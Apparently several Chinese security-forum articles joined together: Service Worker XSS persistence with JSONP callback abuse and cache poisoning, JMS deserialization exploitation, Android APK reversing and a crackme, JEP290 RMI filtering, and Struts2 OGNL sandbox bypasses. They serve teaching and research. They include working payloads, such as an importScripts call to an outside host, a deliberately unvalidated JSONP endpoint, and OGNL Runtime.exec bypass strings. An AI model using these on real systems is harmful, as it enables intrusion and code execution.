在拿到一个可以XSS点的时候后，持久化成为一种问题。这几天跟师傅们接触到RootkiXss的一些姿势，受益匪浅
## Serviceworker定义
Service workers(后文称SW)
本质上充当Web应用程序与浏览器之间的代理服务器，也可以在网络可用时作为浏览器和网络间的代理。它们旨在（除其他之外）使得能够创建有效的离线体验，拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。
也就是说SW 提供了一组API，能够拦截当前站点产生HTTP请求，还能控制返回结果。因此，SW 拦住请求后，使用 Cache Storage
里的内容进行返回，就可以实现离线缓存的功能。当Cache
Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache
storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务，这为我们持久化XSS提供了一定的条件。
### 查看SW服务
Chrome地址栏访问 chrome://serviceworker-internals/，就可以看见已有的后台服务。
## 注册serviceworker
注册点js代码
<script type="text/javascript">
var url="//localhost/serviceworker.js";
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register(url)
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
</script>
normal visit
script标签下的type必须指明为`text/javascript`
### event.request.clone()
对象的内容如图
## 攻击条件
### 一个可以XSS的点
### sw文件可控
如果说sw可以放在同源下,也就是js文件可控的话。直接注册Sw，代码如下：
// 拦截特定的Url，如果请求是对应的Url，则返回攻击的response
self.addEventListener('fetch', function (event) {
var url = event.request.clone();
body = '<script>alert("test")</script>';
init = {headers: { 'Content-Type': 'text/html' }};
if(url.url=='http://localhost/reurl.html'){
res = new Response(body,init);
event.respondWith(res.clone());
}
});
### jsonp回调接口
利用储值型X点写入下面的代码
当JSONP接口存在缺陷时，比如没有校验回调名。导致返回内容可控
比如：url?callback=importScript(...)
返回`importScript(...)`
代码实现如下：
<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();
header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");
attack_js
<script type="text/javascript">
var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register(url)
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
</script>
这里面callback回调的事件就相当于sw脚本。当js被执行之后会注册一个sw脚本,内容是回调的事件
或者鸡肋上传一个html到网站下
<html>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<body>
<script type="text/javascript">
var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register(url)
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
</script>
it's nothing
</body>
</html>
## 局限
* 存在有缺陷的 JSONP 接口
* JSONP 的目录尽可能浅（最好在根目录下），如果放在域的根目录下，将会收到这个域下的所有fetch事件
* JSONP 返回的 Content-Type 必须是 JS 类型
* 存在 XSS 的页面
在网上看到一个师傅这样作例,引用一下：
service worker文件被放在这个域的根目录下，这意味着service worker和网站同源。换句话说，这个service
work将会收到这个域下的所有fetch事件。如果我将service worker文件注册为/example/sw.js，那么，service
worker只能收到/example/路径下的fetch事件（例如： /example/page1/, /example/page2/）
## Cache缓存污染
前文的攻击不涉及cache里的资源,进行的是协商缓存，下面说一下强缓存的利用。
## 请求资源
如果使用cache.put方法，则请求的资源成功后会存在Cache
Storage里。如果fetch里写了caches.match(event.request)方法，则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存，再进行新的缓存操作。
下面是一个缓存读取/判断的demo
// 拦截特定的Url，如果请求是对应的Url，则返回攻击的response。否则用Fetch请求网络上原本的url，进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function (event) {
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url) //打印内容是打印到请求页面
if(url.url=='http://localhost/reurl.html'){//判断是否为需要劫持的资源
return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }})
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache){ //打开v1缓存进行存储
cache.put(event.request, response);
});
return res;
})
}
## 分析
前几天看ED师傅的研究,发现这种好玩但是鸡肋的方法。上面提到cache.put的方法把js资源添加到Cache
Storage，其实如果我们用cache.put把恶意代码插入,覆盖原始的js数据。后果就是当sw请求cahce里的资源时会执行恶意代码。比如workbox会先从缓存读取静态资源,我们用异步请求将恶意代码无限覆盖这个缓存时：
控制台输入下面的恶意代码
async function replay() {
const name = 'xx'
const url = 'xx'
const payload = `
alert(1);
`
let cache = await caches.open(name);
let req = new Request(url);
let res = new Response(payload + replay + ';replay()'); //执行alert+写入cache内容+执行fn
setInterval(_ => {
cache.put(req, res.clone());
}, 500);
}
replay();
就可以在cache Storage里看到500ms刷新并覆盖一次的js资源。
## 相关链接
Service Worker API(<https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API>)
浏览器缓存知识(<https://www.cnblogs.com/lyzg/p/5125934.html>) | 社区文章 |
### **介绍**
Java反序列化漏洞大家应该都非常熟悉了，想必大家手里都有各种各样的利用这类漏洞的工具。其被称为是2015年被低估的“破坏之王”可见其影响之大。Java反序列化漏洞的成因和PHP反序列化漏洞的成因差不多，都是由于程序接收不可信的序列化数据后直接将其反序列化导致的。这又印证了那句老话：一切的输入都是有害的。
### **Java序列化与反序列化**
Java中可以将对象序列化为字节流来方便对象的传输。在Java中很多地方都会用到对象序列化这种技术，我想这大概是Java反序列漏洞危害那么大的一个原因之一吧。在Java中有很多的看似与序列化没关系的东西都使用了序列化。比如一下的一些流行的协议,他们都是基于Java序列化的。
[
这样也就暴露很多潜在的攻击面。Java中只有实现了java.io.Serializable 或者
java.io.Externalizable接口的类才能被序列化和反序列化.能够被反序列的类通过使用 java.io.ObjectOutputStream
将对象转换为字节流，在通过使用 java.io.ObjectInputStream
将字节流反序列化为对象。而漏洞就发生在将输入的字节流反序列化为对象这一步。和 PHP
的反序列漏洞利用基本一致。我们能控制的有对象的属性，在Java反序列对象的过程中有一些 魔术方法会被调用比如 readObject()
readResolve()等。如果某个可被反序列化的类实现了上述的某个方法，我们就有可能可以做到一些有趣的事情。下面来一个简单的Demo加深下理解。假设存在下面这样一个可被反序列化的类，同时该类在程序当前类路径中。
可以看到该类实现了 readObject 方法，在该方法中又调用了Runtime.getRuntime().exec(command)
来执行一条系统命令,其参数为类的一个属性值，而属性值是我们可控的所以我们就能实现一个代码执行了。当然现实中并没有这么直接,而是需要许多条件的，需要利用一些gadgets构造POP链实现一些有趣的事.如果目标应用使用了一些具有漏洞的库那就很简单了，直接上神奇Ysoserial生成payload发送给应用反序列化可以干掉它喽。就像这样
[
**Java消息服务(Java Message Service)**
Java 消息服务（Java Message Service，JMS）应用程序接口是一个Java
平台中关于面向消息中间件（MOM）的API，用于在两个应用程序之间，或分布式系统中发送消息，进行异步通信。下面来看看支持JMS的产品。
[
可以看到JMS这个东西还是很受欢迎的。下面看看JMS的一个基础的运行流程是怎么样的。
[
其中主要的组成部分有一些几点。
1. JMS Broker :一般作为一个独立的服务运行,用来接受JMS的连接，并存储和分发消息.可以使用任何语言来实现。
2. JMS Client: 与Broker交互，生产者/消费者模型,即一个客户端提交消息，一个客户端获取消息
3. Connect : 使用一些特定的协议通信。
4. Session: 仅仅在需要管理时使用。
下面看看怎样使用API来发送和接收JMS消息
发送消息:
[
接收消息
[
前面提到过,在Java中有很多东西都是基于序列化的,JMS也是如此.我们先来看看JMS 消息的结构.
[
Message主要由三部分组成，分别是Header,Properties和Body, 解释如下：
Header: 消息头，所有类型的这部分格式都是一样的
Properties: 属性，按类型可以分为应用设置的属性，标准属性和消息中间件定义的属性
Body: 消息正文，指我们具体需要消息传输的内容。
JMS 消息的类型有很多，具体为
[
在这么多的类型中，有一种类型的消息，促成了攻击。他就是: javax.jms.ObjectMessage ，我们来看看官网是怎么介绍它的。
[
可以看到这个消息内部有一个可以序列化的对象，这就有趣了。下面接着看看ObjectMessage消息是怎样定义的
[
它有一个 getObject 方法，这个方法会将输入的消息反序列化。现在可反序列化的点已经找到，下面就是找找怎么样实现利用了。
**漏洞挖掘**
针对这种漏洞的挖掘思路很简单：找到接收不可信 ObjectMessage 的地方 之后分析程序所使用的一些库,看看能不能找到一些gadgets来构造一个
POP链，实现一个漏洞利用。实际上基本所有实现了ObjectMessage的组件中，都不会对输入的消息进行身份验证，直接拿去反序列化了。下面看看最近在这方面出现的漏洞。
[
下面是其中一个漏洞概要的截图。
[
可见这类漏洞发送的罪魁祸首就是 getObject 函数接收了不可信的输入。
**漏洞利用**
漏洞原理搞清楚了，进行利用就非常简单了。漏洞的本质就是接收不可信数据进行反序列化。那么我们就把发送包含payload对象序列化之后的数据的ObjectMessage发送到有漏洞的程序那就ok了。
[
整个一个漏洞利用的流程可以用下图来形象的解释。
[
攻击者假装为JMS 生产者向Broker提交一个带有恶意payload的ObjectMessage之后 Broker把消息分发给
JMS消费者，其拿个这样一个消息后对其中的序列化对象部分进行反序列化，触发漏洞，然后实现代码执行。而往往JMS消费者不会只有一个，所以现实中的情况会是这样。
[
有趣...
在实际构造exploit时并没有上面讲的那么轻松,一个成功的exploit 所要考虑的东西还是挺多的，比如：
1.jre的版本
2.应用程序所使用的库.
3.哪些库会在程序运行时的类路径中
4.是否开启 Java Security Manager
........
单纯的手工白盒分析是非常麻烦的,于是有了下面这个黑盒自动化工具来帮助我们.
**JMET(Java Message Exploitation Tool)**
下载地址:<https://github.com/matthiaskaiser/jmet>
工具支持的应用:
[
**实战**
目标:
[
看看目前了解到的的信息
1.一个网络管理软件
2.运行在 Jboss 5上.
3.使用了HornetQ的 JMS实现方式
4.审计方式为 本地或者 LDAP
5.十分依赖 JMS
下面来看看JMS的攻击面:
[
可以看到实现了很多MessageLister 来监听消息,其中使用了TextMessage 和 ObjectMessage.下面看一个有漏洞的实现
[
这里调用了ObjectMessage.getObject(),那么上JMET,由于JBOSS’ HornetQ需要登录,这里提供了账号和密码.
[
然后服务器上就弹了一堆的计算器.
[
说明该程序存在漏洞
**总结**
1.和其他的依赖于Java序列化机制的东西一样,JMS也会受到反序列化漏洞的影响.
2.所有发现的有漏洞的JMS应用都缺少对数据输入的验证. | 社区文章 |
[TOC]
# 概述
了解了编译、打包、签名、安装apk文件后，正式开始逆向的基础，静态分析
# java层
apk包内的dex文件是dalvik虚拟机可识别的可执行文件，我们主要也是对dex文件进行逆向，分析其代码逻辑、更改其逻辑做一些分析、破解之类的行为
## 工具
* [apktool](https://ibotpeaches.github.io/Apktool/)
* androidkiller
* jeb
* jadx
* GDA
* smali/baksmali
* ....
## 破解流程
1. 反编译apk
2. 定位关键代码
3. 功能分析
4. smali修改
5. 重打包、签名、安装
### 例子1，广告破解
这里我们用一个去广告的例子，简单的过一下流程
* 反编译
java -jar apktool.jar d xxx.apk -o out
* 定位关键代码的方法很多，这里我用的是一个开源的小工具，原理是`注入+栈追踪`，我们可以先用字符串大法先随意拼接以下ad字符串大致定位一下，可能会在哪个文件夹中，挑选出下面包含类所在文件夹批量注入日志打印方法
`python3 inject_log.py -r .\out\smali\com\youdo`
* 由于我们的目的是去广告，所以我们需要打开一个视频，查看日志中，广告开始播放时调用了哪些方法，这里我们就这样不断的去缩小我们过滤的范围，这里不做太多的赘述，最终确定到parsead方法，我们在返回的地方加一条指令`const/4 v0, 0x0`,让返回始终为null
const/4 v0, 0x0
return-object v0
## CTF-CrakeMe流程
首先针对不同逆向，我们需要清楚逆向的目的，在crakeme赛题中，我们主要目的是找到flag，具体需要我们找到打印输出的地方，在其周围找到判断逻辑，然后就是最主要的一部分逆向算法，算出flag
1.反编译
2.定位关键代码
3.逆向算法
### 例子2
反编译后，查看AndroidManifest.xml找到入口 点
<activity android:label="@h/a" android:name="ctf.bobbydylan.M">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
进入这个Activity类中，我们根据执行逻辑，如果有static{}和构造方法，我们可以看一眼里面除了初始化是否还有别的东西，这里并没有这两个调用，我们直接去onCreate方法中，这个Acitivity创建时调用的方法
分析代码：主要有个开启服务的方法，进入这个P服务类，扫一眼生命周期中用到的方法，并没有值得留意的东西，直接看onStartCommand方法，服务启动时执行的方法，这里是循环播放res/raw目录下的音频文件bodylan，这个类分析到这，不是什么重要的类，接着往下看
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.main);
startService(new Intent(this, P.class));
((Button) findViewById(R.id.button)).setOnClickListener(new a(this, (TextView) findViewById(R.id.et)));
}
public int onStartCommand(Intent intent, int i, int i2) {
try {
if (this.a == null) {
this.a = MediaPlayer.create(this, R.raw.bobdylan);
this.a.start();
this.a.setLooping(true);
}
} catch (Exception e) {
}
return super.onStartCommand(intent, i, i2);
}
按钮控件设置监听方法，在Jadx-Gui中右键->Find
Usage找到方法定义的地方，可以从中文字符看出我们找到了主要逻辑，我们的目的就是打印出正确二字，从这个逻辑中可以看出，我们必须保证`this.b.check`不能抛出异常才行，下面才是crakeme真正开始的地方，分析这个check方法
a(M m, TextView textView) {
this.b = m;
this.a = textView;
}
public void onClick(View view) {
try {
this.b.check(this.a.getText().toString());
new Builder(this.b).setMessage("正确").setNeutralButton("OK", null).create().show();
} catch (Exception e) {
new Builder(this.b).setMessage("错误").setNeutralButton("OK", null).create().show();
}
}
#### check
_我们必须保证不抛出异常_
满足下面注释的两个条件即可
public void check(String str) {
int i = 0;
//条件1：输入字符串长度必须等于16
if (str.length() != 16) {
throw new RuntimeException();
}
String str2 = "";
try {
str2 = getKey();
} catch (Exception e) {
str2 = getKey();
System.arraycopy(str2, 0, str, 5, 5);
}
int[] iArr = new int[16];
iArr[0] = 0;
iArr[12] = 14;
iArr[10] = 7;
iArr[14] = 15;
iArr[15] = 42;
try {
iArr[1] = 3;
iArr[5] = 5;
System.out.println();
} catch (Exception e2) {
iArr[5] = 37;
iArr[1] = 85;
}
iArr[6] = 15;
iArr[2] = 13;
iArr[3] = 19;
iArr[11] = 68;
iArr[4] = 85;
iArr[13] = 5;
iArr[9] = 7;
iArr[7] = 78;
iArr[8] = 22;
//条件2：iArr数组&255必须和后面这串计算相等
while (i < str.length()) {
if ((iArr[i] & 255) != ((str.charAt(i) ^ str2.charAt(i % str2.length())) & 255)) {
throw new RuntimeException();
}
i++;
}
}
public String getKey() {
return "bobbydylan";
}
根据面的分析写出第一版算不出结果的解密脚本，然后我用androidkiller打开这个apk文件，看汇编代码发现这个getKey不是调用M类中的方法，因为是个乱码，实际上是调用了父类中继承的方法
iArr = [0, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 5, 15, 42]
chArr = ['b', 'o', 'b', 'b', 'y', 'd', 'y', 'l', 'a', 'n']
for i in iArr:
number = 0
while(True):
if iArr[i] == number ^ ord(chArr[i%len('bobbydylan')]):
print(chr(number))
if i == len(iArr):
print("end")
exit(0)
break
number += 1
**解密算法** ，结果`blow,in the winD`
iArr = [0, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 5, 15, 42]
chArr = ['b', 'o', 'b', 'd', 'y', 'l', 'a', 'n']
for i in range(len(iArr)):
number = 0
while(True):
if iArr[i] == number ^ ord(chArr[i%len('bobdylan')]):
print(chr(number))
if i == len(iArr):
print("end")
exit(0)
break
number += 1
### 小结
【1】当java层代码不能给我们正确答案是，可以阅读smali代码
## 病毒分析
根据这几篇文章的逆向流程来分析病毒即可
### 分析流程
1. 大致阅览安装包内有哪些文件。资源目录raw、lib等
2. 看AndroidManifest.xml文件，看有哪些注册组件，主要看server组件和receiver组件，详细分析组件行为
3. 从入口类触发看逻辑
4. 汇总
【1】zoopark <https://www.freebuf.com/articles/system/184286.html>
【2】锁屏病毒 <https://www.freebuf.com/articles/others-articles/199515.html>
# 小结
上面从具体逆向的一些分支的实现中来了解一下java层的具体实现，难度其实没那么大，但是需要对Android开发一些基础知识有一定的掌握
# 参考
【1】[批量注入栈跟踪小工具](https://github.com/encoderlee/android_tools/blob/master/inject_log/InjectLog.smali)
【2】crakeme赛题 <https://bbs.pediy.com/thread-251787-1.htm> | 社区文章 |
## 0x00 前言
先说一下JEP290这个增强建议本身其实在2016年就提出来了，本身是针对JAVA 9的一个新特性，但是随后官方突然决定向下引进该增强机制，分别对JDK
6,7,8进行了支持：
<https://blogs.oracle.com/java-platform-group/filter-incoming-serialization-data-a-little-of-jdk-9-goodness-available-now-in-current-release-families>
当时pwntester大神还专门发了个推标庆祝了一下：
所以官方从8u121，7u13，6u141分别支持了这个JEP。
我为什么现在才来说这个case，因为最近测一个RMI的漏洞过程中，发现居然默认情况下把反序列化给拦截掉了，看了异常信息，发现是JDK本身造成的。后来才知道，原来这个java
9 的特性早就移植到6,7,8了。因此打算着重讨论下这个新的机制对RMI序列化的影响。
## 0x01 JEP290介绍
JEP290主要描述了这么几个机制：
* 提供一个限制反序列化类的机制，白名单或者黑名单
* 限制反序列化的深度和复杂度
* 为RMI远程调用对象提供了一个验证类的机制
* 定义一个可配置的过滤机制，比如可以通过配置properties文件的形式来定义过滤器
实际上就是为了给用户提供一个更加简单有效并且可配置的过滤机制，以及对RMI导出对象执行检查。
其核心实际上就是提供了一个名为ObjectInputFilter的接口，用户在进行反序列化操作的时候，将filter设置给ObjectInputStream对象。这里就是用的setInternalObjectInputFilter方法：
每当进行一次反序列化操作时，底层就会根据filter中的内容来进行判断，从而防止恶意的类进行反序列化操作。此外，还可以限制反序列化数据的信息，比如数组的长度、字节流长度、字节流深度以及使用引用的个数等。filter返回accept，reject或者undecided几个状态，然后用户根据状态进行决策。
而对于RMI来说，主要是导出远程对象前，先要执行过滤器逻辑，然后才进行接下来的动作，即对反序列化过程执行检查。
此外，还提供了两种可配置过滤器的方式：
* 通过设置jdk.serialFilter这个System.property
* 直接通过conf/security/java.properties文件进行配置
具体规则方面的内容可以直接参考原始链接：
<http://openjdk.java.net/jeps/290>
## 0x02 RMI的过滤机制
RMI这个就不多介绍了，给出一张原理图：
RMI将网络通信的部分进行了抽象，这部分逻辑对于用户来说是透明的，其实是通过动态代理机制来实现的，通过Stub和Skel这两个代理对象，完成了对远程对象的调用。
扯远了，我们还是看看RMI中新加入的过滤机制。
首先先要复现该问题，自己写一个RMI Server，然后启动起来。之后，写一个RMI
Client，调用bind方法将恶意的类发送给Server。结果直接抛出异常：
同时Server的控制台打印出来错误日志：
可以看到，是在处理远程对象代理的时候，没有通过filter的校验从而报错。
我使用的是8u131进行调试，直接来到RegistryImpl_Skel类中的46行代码，这里就是导出远程对象：
readObject正是在执行反序列化操作，单步跟进，就来到了ObjectInputStream的readObject方法中，调用的是readObject0方法：
接下来是readOrdinaryObject->
radClassDesc->readProxyDesc，然后获取里面的接口并调用filterCheck方法一个个检查，最后再对对象本身进行一次检查：
来到filterCheck方法中：
可以看到这里调用了ObjectInputStream中的serialFilter属性的checkInput方法，最后真正检查的是RegistryImpl.registryFilter方法，针对远程对象的检查条件如下：
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
可以看到直接把AnnotationInvocationHandler给禁用掉了，所以这个方法肯定是要返回REJECTED状态了，因此直接就抛了异常出来。
## 0x03 思考
ObjectInputFilter的引入是给了用户一个非常方便并且很官方的反序列化过滤机制，因此用好它可以很方便的写出过滤代码，思考一下反序列化刚出现的那会儿，还得自己去编码实现过滤机制，稍有不慎就会出问题。但是有了Filter机制，并不代表一定不会出问题，原因是开发者使用黑名单机制还是有可能漏掉一些lib或者有新的gadgets出现。所以以后反序列化漏洞还是可以玩一段时间，毕竟底层开发者技术跟进需要时间。 | 社区文章 |
**作者：Lucifaer
博客：<https://www.lucifaer.com>**
在分析Struts2漏洞的过程中就一直想把OGNL的运行机制以及Struts2对OGNL的防护机制总结一下，但是一直苦于自己对Struts2的理解不是很深刻而迟迟无法动笔，最近看了[lgtm的这篇文章](https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit)收获良多，就想在这篇文章的基础上总结一下目前自己对于OGNL的一些理解，希望师傅们斧正。
## 0x01 OGNL与Struts2
### 1.1 root与context
OGNL中最需要理解清楚的是`root`（根对象）、`context`（上下文）。
* `root`：root可以理解为是一个java对象，表达式所规定的所有操作都是通过root来指定其对哪个对象进行操作。
* `context`：context可以理解为对象运行的上下文环境，context以MAP的结构，利用键值对关系来描述对象中的属性以及值。
Struts2框架使用了标准的命名上下文（naming context，我实在是不知道咋翻译了-.
-）来执行OGNL表达式。处理OGNL的最顶层对象是一个Map对象，通常称这个Map对象为`context
map`或者`context`。而OGNL的`root`就在这个`context map`中。
**在表达式中可以直接引用root对象的属性，如果需要引用其他的对象，需要使用#标明** 。
框架将OGNL里的`context`变成了我们的`ActionContext`，将`root`变成了`valueStack`。Struts2将其他对象和`valueStack`一起放在`ActionContext`中，这些对象包括`application`、`session`、`request
context`的上下文映射。下面是一个图例：
### 1.2 ActionContext
`ActionContext`是action的上下文，其本质是一个MAP，简单来说可以理解为一个action的小型数据库，整个action生命周期（线程）中所使用的数据都在这个`ActionContext`中。而对于OGNL来说`ActionContext`就是充当`context`的，并且在框架中
这里盗一张图来说明`ActionContext`中存有哪些东西：
可以看到其中有三个常见的作用域`request`、`session`、`application`。
* `attr`作用域则是保存着上面三个作用域的所有属性，如果有重复的则以`request`域中的属性为基准。
* `paramters`作用域保存的是表单提交的参数。
* `VALUE_STACK`，也就是常说的值栈，保存着`valueStack`对象，也就是说可以通过`ActionContext`访问到`valueStack`中的值。
### 1.3 valueStack
值栈本身是一个ArrayList，充当OGNL的`root`：
`root`在源码中称为`CompoundRoot`，它也是一个栈，每次操作`valueStack`的出入栈操作其实就是对`CompoundRoot`进行对应的操作。每当我们访问一个action时，就会将action加入到栈顶，而提交的各种表单参数会在`valueStack`从顶向下查找对应的属性进行赋值。
这里的`context`就是`ActionContext`的引用，方便在值栈中去查找action的属性。
### 1.4 ActionContext和valueStack的关系
可以看到其实`ActionContext`和`valueStack`是“相互包含”的关系，当然准确点来说，`valueStack`是`ActionContext`中的一部分，而`ActionContext`所描述的也不只是一个OGNL`context`的代替品，毕竟它更多是为action构建一个独立的运行环境（新的线程）。而这样的关系就导致了我们可以通过`valueStack`访问`ActionContext`中的属性而反过来亦然。
其实可以用一种不是很标准的表达方式来描述这样的关系：可以把`valueStack`想成`ActionContext`的索引，你可以直接通过索引来找到表中的数据，也可以在表中找到所有数据的索引，无非是书与目录的关系罢了。
## 0x02 OGNL的执行
### 2.1 初始化ValueStack
我们从代码的角度来看看OGNL的执行流。从Struts2框架的代码中，我们可以清楚的看到OGNL的包是位于`xwork2`中的，而连通Struts2与xwork2的桥梁就是`ActionProxy`，也就是说在`ActionProxy`接管整个控制权前，`FilterDispatcher`就已经完成了对`ActionContext`的建立与初始化。
而具体的代码是在`org.apache.struts2.dispatcher.PrepareOperations`中：
在这里如果没有Context存在的话，则会调用`ValueStackFactory`这个接口的`createValueStack`方法，跟进看一下：
跟进`OgnlValueStackFactory`：
这几个参数分别为：
跟进看一下`OgnlValueStack`的构造方法：
可以看到设置根、设置安全防范措施、以及调用`Ognl.createDefaultContext`来创建默认的`Context`映射：
这里我们跟到`OgnlContext`中看一下，有这么几个对象时比较重要的，他们规定了OGNL计算中的计算规则处理类：
* `_root`：在OgnlContext内维护着的Root对象，它是OGNL主要的操作对象
* `_values`：如果希望在OGNL计算时使用传入的Map作为上下文环境，OGNL依旧会创建一个OgnlContext，并将所传入的Map中所有的键值对维护在`_values`变量中。这个变量就被看作真正的容器，并在OGNL的计算中发挥作用。
* `ClassResolver`：指定处理class loading的处理类。实际上这个处理类是用于指定OGNL在根据Class名称来构建对象时，寻找Class名称与对应的Class类之间对应关系的处理方式。在默认情况下会使用JVM的class.forName机制来处理。
* `TypeConverter`：指定处理类型转化的处理类。这个处理类非常关键，它会指定一个对象属性转化成字符串以及字符串转化成Java对象时的处理方式。
* `MemberAccess`：指定处理属性访问策略的处理方式。
可以看到这里的`ClassResolver`是有关类的寻址以及调用的，也就是常说的所谓的执行。
### 2.2 将现有的值和字段添加进ValueStack中（构造）
在初始化了`ValueStack`后，发现了后面的`container.inject(stack);`，这里是将依赖项注入现有的字段和方法，而在这个地方会调用`com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil`将我们所关心的黑名单给添加进来：
然而其根本的作用是 **创建_memberAccess** 。
这里可以注意到调用栈中首先是初始化了`ValueStack`之后再通过`OgnlUtil`这个API将数据和方法注入进`ValueStack`中，而`ValueStack`又是利用`OgnlContext`来创建的，所以会看到`OgnlContext`中的
**_memberAccess与securityMemberAccess是同一个SecurityMemberAccess类的实例，而且内容相同，也就是说全局的OgnlUtil实例都共享着相同的设置。如果利用OgnlUtil更改了设置项（excludedClasses、excludedPackageNames、excludedPackageNamePatterns）则同样会更改_memberAccess中的值。**
这里可能不太好理解，可以看下面这几张图：
1. 首先`ValueStack`本身是个`OgnlContext`
2. 之后调用`setOgnlUtil`添加黑名单：
3. 然后`OgnlUtil`中的这些值赋给`SecurityMemberAccess`：
4. 也就是与`OgnlContext`中的`_memberAccess`建立关系，即创建了`_memberAccess`：
而这一点在沙箱绕过时起到了很重要的作用。
### 2.3 创建拦截器（Interceptor）
在之后当控制权转交给`ActionProxy`时会调用`OgnlUtil`作为操作OGNL的API，在创建拦截器（`Interceptor`）时会调用`com.opensymphony.xwork2.config.providers.InterceptorBuilder`：
在这里利用工场函数来创建拦截器，跟进看一下：
也就是把设置好的黑名单赋到`SecurityMemberAccess`中，在当前的上下文中用以检验表达式所调用的方法是否允许被调用。
### 2.4 OGNL执行（利用反射调用）
说完了初始化，再来说一下所谓的OGNL执行，在这里引用一下《Struts2技术内幕》这本书的一个表，这个表主要列举了OGNL计算时所需要遵循的一些重要的计算规则和默认实现类：
接下来就跟进`CompoundRootAccessor`看一下：
在这里拓展了`ognl.DefaultClassResovler`，可以支持一些特殊的class名称。
## 0x03 OGNL的攻防史
回看S2系列的漏洞，每当我们找到一个可以执行OGNL表达式的点在尝试构造恶意的OGNL时都会遇到这个防护机制，在我看了[lgtm](https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit)这篇文章后，我就想把围绕`SecurityMemberAccess`的攻防历史来全部梳理一遍。
可以说所有在对于OGNL的攻防全部都是基于如何使用静态方法。`Struts2`的防护措施从最开始的正则，到之后的黑名单，在保证OGNL强大功能的基础上，将可能执行静态方法的利用链给切断。在分析绕过方法时，需要注意的有这么几点：
* `struts-defult.xml`中的黑名单
* `com.opensymphony.xwork2.ognl.SecurityMemberAccess`
* `Ognl`包
以下图例左边都是较为新的版本，右边为老版本。
### 3.1 Struts 2.3.14.1版本前
S2-012、S2-013、S3-014的出现促使了这次更新，可以说在跟新到2.3.14.1版本前，ognl的利用基本属于不设防状态，我们可以看一下这两个版本的diff，不难发现当时还没有出现黑名单这样的说法，而修复的关键在于`SecurityMemberAccess`：
左边是2.3.14.1的版本，右边是2.3.14的版本，不难看出在这之前可以通过ognl直接更改`allowStaticMethodAccess=true`，就可以执行后面的静态方法了，所以当时非常通用的一种poc是：
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))
而在2.3.14.1版本后将`allowStaticMethodAccess`设置成final属性后，就不能显式更改了，这样的poc显然也失效了。
### 3.2 Struts 2.3.20版本前
在2.3.14.1后虽然不能更改`allowStaticMethodAccess`了，但是还是可以通过`_memberAccess`使用类的构造函数，并且访问公共函数，所以可以看到当时有一种替代的poc：
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
直到2.3.20，这样的poc都可以直接使用。在2.3.20后，Struts2不仅仅引入了黑名单（excludedClasses,
excludedPackageNames 和
excludedPackageNamePatterns），更加重要的是阻止了所有构造函数的使用，所以就不能使用`ProcessBuilder`这个payload了。
### 3.3 Struts 2.3.29版本前
左为2.3.29版本，右边为2.3.28版本
从黑名单中可以看到禁止使用了`ognl.MemberAccess`和`ognl.DefaultMemberAccess`，而这两个对象其实就是2.3.20-2.3.28版本的通用绕过方法，具体的思路就是利用`_memberAccess`调用静态对象`DefaultMemberAccess`，然后用`DefaultMemberAccess`覆盖`_memberAccess`。那么为什么说这样就可以使用静态方法了呢？
我们先来看一下可以在S2-032、S2-033、S2-037通用的poc：
(#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))
我们来看一下`ognl.OgnlContext@DEFAULT_MEMBER_ACCESS`：
看过上一节的都知道，在程序运行时在`setOgnlUtil`方法中将黑名单等数据赋给`SecurityMemberAccess`，而这就是创建`_memberAccess`的过程，在动态调试中，我们可以看到这两个对象的id甚至都是一样的，而`SecurityAccess`这个对象的父类本身就是`ognl.DefaultMemberAccess`，而其建立关系的过程就相当于继承父类并重写父类的过程，所以这里我们利用其父类`DefaultMemberAccess`覆盖`_memberAccess`中的内容，就相当于初始化了`_memberAccess`，这样就可以绕过其之前所设置的黑名单以及限制条件。
### 3.4 Struts 2.3.30+/2.5.2+
